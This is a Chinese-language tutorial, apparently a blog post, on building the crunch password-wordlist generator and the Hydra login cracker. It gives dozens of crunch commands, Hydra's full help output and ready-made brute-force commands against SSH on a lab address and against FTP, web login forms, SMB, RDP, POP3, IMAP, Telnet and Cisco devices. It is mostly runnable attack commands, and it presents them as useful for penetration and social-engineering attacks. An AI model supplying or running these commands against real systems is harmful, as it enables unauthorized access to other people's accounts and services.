linux下部署Hydra暴力破解工具+crunch密码字典生成工具
部署crunch字典生成工具
所谓的密码字典主要是配合密码破解软件所使用,密码字典里包括许多人们习惯性设置的密码。这样可以提高密码破解软件的密码破解成功率和命中率,缩短密码破解的时间。当然,如果一个人密码设置没有规律或很复杂,未包含在密码字典里,这个字典就没有用了,甚至会延长密码破解所需要的时间。在Linux中有Crunch和rtgen两个工具,可以来创建密码字典。为方便用户的使用,本节将介绍这两个工具的使用方法。
crunch是一款linux下的压缩后仅仅38k的小程序,Crunch最厉害的是知道密码的一部分细节后,可以针对性的生成字典,这在渗透中就特别有用,用来进行暴力破解攻击其效果尤佳!
1、下载并安装crunch
cd /home/oldboy/tools wget https://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.6.tgz tar xf crunch-3.6.tgz cd crunch-3.6 gcc -Wall -lm -pthread -std=c99 -m64 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 crunch.c -o crunch -lm make install
2、使用crunch生成密码文件实例
crunch 1 8 #生成最小1位,最大8位,由26个小写字母为元素的所有组合 crunch 1 6 abcdefg #生成 最小为1,最大为6.由abcdefg为元素的所有组合 crunch 1 6 abcdefg\ #生成 最小为1,最大为6.由abcdefg和空格为元素的所有组合(/代表空格) crunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt #调用密码库 charset.lst, 生成最小为1,最大为8,元素为密码库 charset.lst中 mixalpha-numeric-all-space的项目,并保存为 wordlist.txt;其中 charset.lst在kali_linux的目录为 /usr/share/crunch/charset.lst, charset.lst中 mixalpha-numeric-all-space项目包含最常见的元素组合(即大小写字母+数字+常见符号) crunch 8 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog @@@ -s cbdogaaa #调用密码库 charset.lst,生成8位密码;其中元素为 密码库 charset.lst中 mixalpha-numeric-all-space的项;格式为“两个小写字母+dog+三个小写字母”,并以cbdogaaa开始枚举(@代表小写字母) crunch 2 3 -f charset.lst ualpha -s BB #调用密码库charset.lst,生成2位和3位密码;其中元素为密码库charset.lst中ualpha的项;并且以BB开头 crunch 4 5 -p abc #crunch将会生成abc, acb, bac, bca, cab, cba,虽然数字4和5这里没用,但必须有 crunch 4 5 -p dog cat bird #crunch将生成以“dog”“cat”“bird”为元素的所有密码组合:birdcatdog,birddogcat,catbirddog, catdogbird, dogbirdcat, dogcatbird crunch 1 5 -o START -c 6000 -z bzip2 # 生成最小为1位,最大为5位元素为所有小写字母的密码字典,其中每一个字典文件包含6000个密码,并将密码文件保存为bz2文件,文件名将以 "第一个密码" + " - " + "最后一个密码" + " .txt.bz2 " 保存(比如000-999.txt.bz2);下面是生成几种格式的压缩文件所用的时间和体积大小对比: crunch 4 5 -b 20mib -o START # 生成最小为4位,最大为5位元素为所有小写字母的密码字典,并以20M进行分割;这时会生成4个文件:aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt:其中前三个大概每个20M,最后一个10M左右(因为总共70M) crunch 4 4 + + 123 + -t %%@^ #生成4位密码,其中格式为“两个数字”+“一个小写字母”+“常见符号”(其中数字这里被指定只能为123组成的所有2位数字组合)。比如12f# 32j^ 13t$ ...... crunch 3 3 abc + 123 @#! -t @%^ #生成3位密码,其中第一位由“a,b,c”中的一个;第二位为“1,2,3”中的一个;第三位为“!,@,#”中的一个。比如1a! 2a# 3b@ ...... crunch 3 3 abc + 123 @#! -t ^%@ #生成3位密码,其中格式为“字符+数字+字母”,这里字符范围为!@# ,数字范围为 1 2 3 , 字母范围为a b c比如!1c @3b @2a ...... crunch 5 5 -t ddd@@ -p dog cat bird #生成5个元素组成的密码,其中前三个为 dog cat bird任意组合,后两个为两个小写字母的任意组合。比如birddogcatuz catdogbirdab birdcatdogff ...... crunch 7 7 -t p@ss,%^ -l a@aaaaa #生成7位密码,格式为“字符p@ss”+大写字母+数字+符号 比如 p@ssZ9> ...... crunch 5 5 -s @4#S2 -t @%^,% -e @8 Q2 -l @dddd -b 10KB -o START #生成5位密码,格式为小写字母+数字+符号+大写字母+数字,并以 @4#S2开始,分割为10k大小。。。 crunch 5 5 -d 2@ -t @@@%% #生成5位密码,格式为三个字母+两个数字,并限制每个密码最少出现2种字母 crunch 10 10 -t @@@^%%%%^^ -d 2@ -d 3% -b 20mb -o START #生成10位密码,格式为三个小写字母+一个符号+四个数字+两个符号,限制每个密码至少2种字母和至少3种数字 crunch 8 8 -d 2@ #生成8位密码,每个密码至少出现两种字母 crunch 4 4 -f unicode_test.lst the-greeks -t @@%% -l @xdd #调用密码库 unicode_test.lst中的 the-greeks项目字符,生成4位密码,其中格式为两小写字母+两数字,同样kali_linux中 unicode_test.lst 在/usr/share/crunch目录 -b #体积大小,比如后跟20mib -c #密码个数(行数),比如8000 -d #限制出现相同元素的个数(至少出现元素个数),-d 3就不会出现zzf ffffgggg之类的 -e #定义停止生成密码 ,比如-e 222222:到222222停止生成密码 -f #调用密码库文件,比如/usr/share/crunch/charset.lst -i #改变输出格式 -l #与-t搭配使用 -m #与-p搭配使用 -o #保存为 -p #定义密码元素 -q #读取字典 -r #定义从某一个地方重新开始 -s #第一个密码,从xxx开始 -t #定义输出格式 @代表小写字母 ,代表大写字母 %代表数字 ^代表符号 -z #打包压缩,格式支持 gzip, bzip2, lzma, 7z
crunch语法格式:
crunch [minimum length] [maximum length] [character set] [options]
生成一个包含6到7位数字、字母和特殊字符的密码文件password.txt。这个密码文件为后面用Hydra暴力破解工具使用
crunch 6 7 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o password.txt
生成的这个字典文件password.txt很大,大概有500多T大小
Hydra暴力工具的部署
1、简介
Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.
Hydra was tested to compile on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX, and is made available under GPLv3 with a special OpenSSL license expansion.
Currently this tool supports:
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.
This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.
The program is maintained by van Hauser and David Maciejak.
The Hackers Choice
http://www.thc.org/thc-hydra
2、安装hydra
安装相关依赖包
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel -y
Hydra 安装
cd /home/oldboy/tools wget http://www.thc.org/releases/hydra-7.4.1.tar.gz tar zxvf hydra-7.4.1.tar.gz cd hydra-7.4.1 ./configure make && make install
3、hydra的语法及参数说明
语法格式
# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
参数说明
-R 继续从上一次进度接着破解 -S 大写,采用SSL链接 -s <PORT> 小写,可通过这个参数指定非默认端口 -l <LOGIN> 指定破解的用户,对特定用户破解 -L <FILE> 指定用户名字典 -p <PASS> 小写,指定密码破解,少用,一般是采用密码字典 -P <FILE> 大写,指定密码字典 -e <ns> 可选选项,n:空密码试探,s:使用指定用户和密码试探 -C <FILE> 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数 -M <FILE> 指定目标列表文件一行一条 -o <FILE> 指定结果输出文件 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 -t <TASKS> 同时运行的线程数,默认为16 -w <TIME> 设置最大超时的时间,单位秒,默认是30s -v / -V 显示详细过程 server 目标ip service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等 OPT 可选项
hydra参数说明
hydra的帮助信息查看-h
hydra -h Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [server service [OPT]]|[service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help -e nsr try "n" null password, "s" login as pass and/or "r" reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack. Supported protocols: cisco cisco-enable cvs ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp OPT some service modules support additional input (-U for module help) Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy. Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. Newest version available at http://www.thc.org/thc-hydra The following services were not compiled in: sapr3 firebird afp ncp oracle mysql5. Examples: hydra -l john -p doe 192.168.0.1 ftp hydra -L user.txt -p defaultpw -S 192.168.0.1 imap PLAIN hydra -l admin -P pass.txt http-proxy://192.168.0.1 hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/DIGEST-MD5
hydra帮助信息
4、实例
手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典。
创建用户名文件users.txt
[root@lnmp01 ~]# vim users.txt root oldboy
创建密码文件password.txt
[root@lnmp01 ~]# vim password.txt 123456 ts1158 test01 haaaha
破解ssh
hydra -L users.txt -P password.txt -t 20 -vV -e ns 192.168.182.143 ssh
这个参数-t 线程不能给的太大,太大了破解可能不准确,一般给20个左右线程就可以了
破解过程如下图所示:
由图所示,破解成功了
当然也可以使用 -o 选项指定结果输出文件。
hydra -L users.txt -P password.txt -t 20 -vV -e ns 192.168.182.143 ssh -o test.txt
那么破解好的记录就会保存在这个指定的文件中
5、其他协议的破解方式如下
破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登录:
hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。
破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
破解cisco:
hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb
破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
破解telnet
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
总之,此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果。